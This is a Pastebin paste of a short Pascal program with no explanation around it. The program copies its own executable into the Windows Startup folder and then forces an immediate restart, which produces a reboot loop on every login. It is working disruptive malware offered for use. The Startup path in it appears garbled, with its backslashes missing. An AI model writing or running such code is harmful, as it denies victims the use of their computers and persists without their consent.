Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- program project1;
- uses crt,dos,sysutils;
- begin
- ExecuteProcess(getenvironmentvariable('comspec'),['/c',' for /r %i in (project1.exe) do xcopy /Y "%i" "%userprofile%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"']);
- ExecuteProcess(getenvironmentvariable('comspec'),['/c','shutdown /r /t 001 ']);
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement